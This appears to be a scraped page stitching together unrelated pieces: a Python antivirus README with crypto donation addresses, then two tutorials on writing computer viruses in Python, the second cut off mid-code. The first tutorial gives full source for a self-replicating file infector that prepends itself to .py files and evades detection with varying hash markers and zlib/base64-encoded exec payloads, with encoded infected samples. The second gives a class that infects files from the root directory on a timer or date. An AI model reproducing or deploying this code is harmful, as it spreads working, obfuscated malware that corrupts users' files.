Как написать свой антивирус на python

Python-Antivirus-v2

A simple antivirus coded in python capable of scanning selected files and deleting files that it detects as infected. This antivirus uses a large list of MD5, SHA1 and SHA256 malware hashes (many of which coming from this repo — https://github.com/Len-Stevens/MD5-Malware-Hashes) to determine infections. However as this project progresses I would like to implement machine learning detection with the long term goal of becoming a fully functioning antivirus.

Thank You! :)

NOTE:

when you install qt-material pls go to;
you_Python_dirLibsite-packagesqt_material
and replace material.css.template with this File! (else Gui will be broken!)

Gui

Dark mode

Dark_homeTab
Dark_SettingsTab
Dark_VirusResultsTab

Light mode

Light_homeTab
Light_SettingsTab
light_VirusResultsTab

Donate Crypto

[BTC];󠀠bc1qz5q86hrj4n983vxey3mxrrd7227ueacdfz56c9
[ETH];0x1556536283e5d3A8EA790A2d79266ffec9d7d684
[DOGE];DHBgSnHnHRVWSnbigfAYvPuwWQG1yLxmvH
[LTC];LbnYUMif4PPD1rBGLTWJZ23BQ3jyt884Gn
[SHIB];0x1556536283e5d3A8EA790A2d79266ffec9d7d684
[SOL];LBrSZa5hcXgTPjrPKrx4Cp6QafpZ98TkwZWfAi6p3o3
[CAKE];0x1556536283e5d3A8EA790A2d79266ffec9d7d684

devs

@cookie0o
@Len-Stevens

14 minute read

teaser

I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python.

The short answer: YES.

The longer answer: yes, BUT…

Let’s start by saying that viruses are a little bit anachronistic in 2021… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.

Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.

That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.

I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy.

Now, before start, you know I have to write a little disclaimer.


This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!


Now, we can proceed.

According to Wikipedia…

a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.

That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.

Usually, a computer virus does is made by three parts:

  1. The infection vector: this part is responsible to find a target and propagates to this target
  2. The trigger: this is the condition that once met execute the payload
  3. The payload: the malicious function that the virus carries around

Let’s start coding.

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

Let’s analyze this code.

First of all, we call the get_virus_code() function, which returns the source code of the virus taken from the current script.

Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection.

After the infection took place, we just call the summon_chaos() function, that is — as suggested by its name — the payload function with the malware code.

That’s it, quite simple uh?

Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block.

The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.

Okay, now we need to implement the stub functions we have just created! :)

Let’s start with the first one: the get_virus_code() function.

To get the current virus code, we will simply read the current script and get what we find between two defined comments.

For example:

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

Now, let’s implement the find_files_to_infect() function. Here we will write a simple function that returns all the *.py files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! :)

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then! ;)

And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

Ok, our virus is ready! Let’s see the full source code:

# begin-virus

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus

Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py) that returns some random numbers, like this:

 # numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!

Now, in the same directory, I have my virus. Let’s execute it:

/playgrounds/python/first ❯ python ./first.py                                                                          02:30:42 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now.

# begin-virus

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

And as expected, now we have our virus before the real code.

Let’s create another .py file in the same directory, just a simple “hello world” program:

/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py

and now, let’s execute the [numbers.py](http://numbers.py) program:

/playgrounds/python/first ❯ python numbers.py                                                                          02:35:12 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47

As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it:

/playgrounds/python/first ❯ python hello.py                                                                            02:40:01 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
hello world

Trying to hide the virus code a little more

Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus, right?

So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.

For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?

Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.

So our get_content_if_infectable() function could be modified like this:

def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

hash = hashlib.md5(file.encode("utf-8")).hexdigest()

and also the get_virus_code() function should be modified to look for the current script hash:

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?

Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new transform_and_obscure_virus_code() function like this:

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:

def infect(file, virus_code):
  # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

The complete source code of our new virus could be similar to this:

# ################
# chaos.py
# a Python virus
# ###############

# begin-78ea1850f48d1c1802f388db81698fd0

import base64
import glob
import hashlib
import inspect
import os
import random
import zlib

def get_content_of_file(file):
  data = None
    # return the content of a file
  with open(file, "r") as my_file:
    data = my_file.readlines()

  return data
  
def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

def find_files_to_infect(directory = "."):
  # find other files that can potentially be infected 
  return [file for file in glob.glob("*.py")]

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

def infect(file, virus_code):
  # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

# entry point

try:
  # retrieve the virus code from the current infected script
  virus_code = get_virus_code()

  # look for other files to infect
  for file in find_files_to_infect():
    infect(file, virus_code)

  # call the payload
  summon_chaos()

except:
  pass

finally:
  # delete used names from memory
  for i in list(globals().keys()):
      if(i[0] != '_'):
          exec('del {}'.format(i))

  del i

# end-78ea1850f48d1c1802f388db81698fd0

Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py), and let’s see what happens.

/playgrounds/python/chaos ❯ python chaos.py                                                                            03:09:52 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py) :

# begin-661bb45509227577d3693829a1e1cb33
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

and this is

# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")

Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

To sum up

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)

Happy coding!

D.


Did you find this article helpful?
Buy me a coffee!Buy me a coffee!


6 minute read

Sometimes we find our files being infected with a computer virus. In this tutorial, we will get introduced to the concept of a virus by writing a simple one in Python.

First thing first, let’s get introduced to the definition of a computer virus. A virus is a typical malware program that infects a particular type of file or most files by injecting data or code. It tries to list files in all directories and then inject typical data/code in those files.

Point to be noted; a virus does not replicate itself. It just continuously infects all files in the directories/folders. The malware that replicates itself and consumes hard disk space is typically called a Worm.

If you are interested to write other types of malwares, you can go through my previous posts:

  • Write a Backdoor in Python
  • Write a Worm (Malware) in Python
  • A Basic Keylogger in Python

Okay, now, let’s get started writing one.

Requirements

To write a simple virus, we will use the following modules.

import os
import datetime
import pathlib
import time

os module

Here, module os is the most important one as it will help us to list all the files along with the absolute path. An absolute path starts with the root directory /. For example, if my current working directory is Downloads and there is file named hi.txt inside a subfolder named test_sub. Then

absolute path: /Users/roy/Downloads/test_sub/hi.txt
relative path: test_sub/hi.txt

Absolute path is necessary here as while working with numerous files you must know the exact location. Using filenames only, your script do not know where to look for that files.

pathlib module

Here, we use pathlib to retrive the extension of a file. It can be done in multiple ways though, so you may not find this module necessary at all.

datetime and time

datetime and time is used only for the start time of execution. If you want the script to start working right now, you may not need these modules as well.

Virus Class

The initializer method

Now, lets create a virus class that accepts four arguments when it is called.

class Virus:
    
    def __init__(self, infect_string=None, path=None, 
                         extension=None, target_file_list=None):
        if isinstance(infect_string, type(None)):
            self.infect_string = "I am a Virus"
        else:
            self.infect_string = infect_string
            
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(extension, type(None)):
            self.extension = ".py"
        else:
            self.extension = extension
            
        if isinstance(target_file_list, type(None)):
            self.target_file_list = []
        else:
            self.target_file_list = target_file_list

Here, the infect_string will be used to insert in a file. If the user does not provide an input, the default value is “I am a Virus”.

By default the path is set to be the root directory /. From here, it will browse all subdirectories and files. However, the user can provide a target path as well.

User can define target file extension. If not, the default is set to be python files .py.

User can also provide the target_file_list that conatains all the listed target files. If None, the constructor method set it as an empty list.

Btw, if you are wondering that why the code looks a bit ugly, you can use the following as well.

class Virus:
    
    def __init__(self, infect_string="I am a Virus", path="/", 
                         extension=".py", target_file_list=[]):
            self.infect_string = infect_string
            self.path = path
            self.extension = extension
            self.target_file_list = target_file_list

I just prefer the earlier way to set all default values inside the constructor method. However, the latter is a lot easier to understand and use.

Method to list all target files

here we use another mthod named list_files that lists all files within directories and subdirectories given an initial path.

    def list_files(self, path):
        files_in_current_directory = os.listdir(path)
        
        for file in  files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                # check the extension
                file_extension = pathlib.Path(absolute_path).suffix
				
				# check if it is a directory
                if os.path.isdir(absolute_path):
                    self.target_file_list.extend(self.list_files(absolute_path))
				
				# check if the target file extension matches
                elif file_extension == self.extension:
                    is_infected = False
                    with open(absolute_path) as f:
                        for line in f:
                            if self.infect_string in line:
                                self.is_infected = True
                                break
                    if is_infected == False:
                        self.target_file_list.append(absolute_path)
                else:
                    pass

here, in the method we did the followings:

  1. list all files in the current working directory
  2. iterate over all files and do the followings
    • only consider visible files (avoid hidden files, e.g., starts with dot . in Unix-based systems)
    • get the absolute path using os.path.join
    • retrieve the file extension using pathlib.Path
    • check if it is a directory using os.path.isdir (if yes, call the same function and pass the path to continue digging deeper, in coding world it is called a **recursive function**)
    • Check if the extension matches with target extension (if yes, check whether it is already infected by looking for the string in the file; if string not found, append to the list).

Method to infect the files

Here, we will add another method that can infect (insert/prepend) the string in the given filename.

    def infect(self, file_abs_path):
        if os.path.basename(file_abs_path) != "virus.py":
            try:
                f = open(file_abs_path, 'r')
                data = f.read()
                f.close()
                virus = open(file_abs_path, 'w')
                virus.write(self.infect_string + "n" + data )
                virus.close()
            except Exception as e:
                print(e)
        else:
            pass

To prepend the self.infect_string, we first read the whole file and keep the contents in a variable data; then add our string before the data and write to the file.

point to be noted, in this example as we are using python files, we need to exclude our own file, right? :zany_face:

that’s why I exclude the filename there in the very first condition.

Final method that integrates everything

Now, we can first define when to start our virus.

  • Do you want to set a timer (e.g., 60 seconds), then provide input to the timer while calling this method.
  • Do you want to set a date (e.g., someone’s birthday), then provide input to the target_date while calling this method.

And, then our primary mission begins.

  1. List all target files by calling the list_files method
  2. For each file, insert the string using the infect method

okay, so, here is our code

    def start_virus_infections(self, timer=None, target_date=None):
        if not isinstance(timer, type(None)):
            time.sleep(timer)
            self.list_files(self.path)
            for target in self.target_file_list:
                self.infect(target)
                
        elif not isinstance(target_date, type(None)):
            today = str(datetime.datetime.today())[:10]
            if str(target_date) == today:
                self.list_files(self.path)
                for target in self.target_file_list:
                    self.infect(target)
                    
        else:
            print("User must provide either a timer or a date using datetime.date()")

Main Function

Now, let’s create our main function and run the code

if __name__ == "__main__":
    current_directory = os.path.abspath("")
    virus = Virus(path=current_directory)
    # virus.start_virus_infections(target_date=datetime.date(2021,6,1))
    virus.start_virus_infections(timer=5)
    # print(virus.target_file_list)

Here, we first create an object of the class. And then call the start_virus_infections method with providing a timer or a date. To avoid hassle, use os.path.abspath(""), which refers to the current directory only so that you do not get hurt with inserting the string in other necessary python codes you wrote before.

Testing

To have a easier testing environment, create a few python files in the same directory and check if your virus is able to insert the string to those files. To make things easier, run the following code to create three python files (create a seperate script).

if __name__ == '__main__':
    filenames = ["test1.py", "test2.py", "test3.py"]
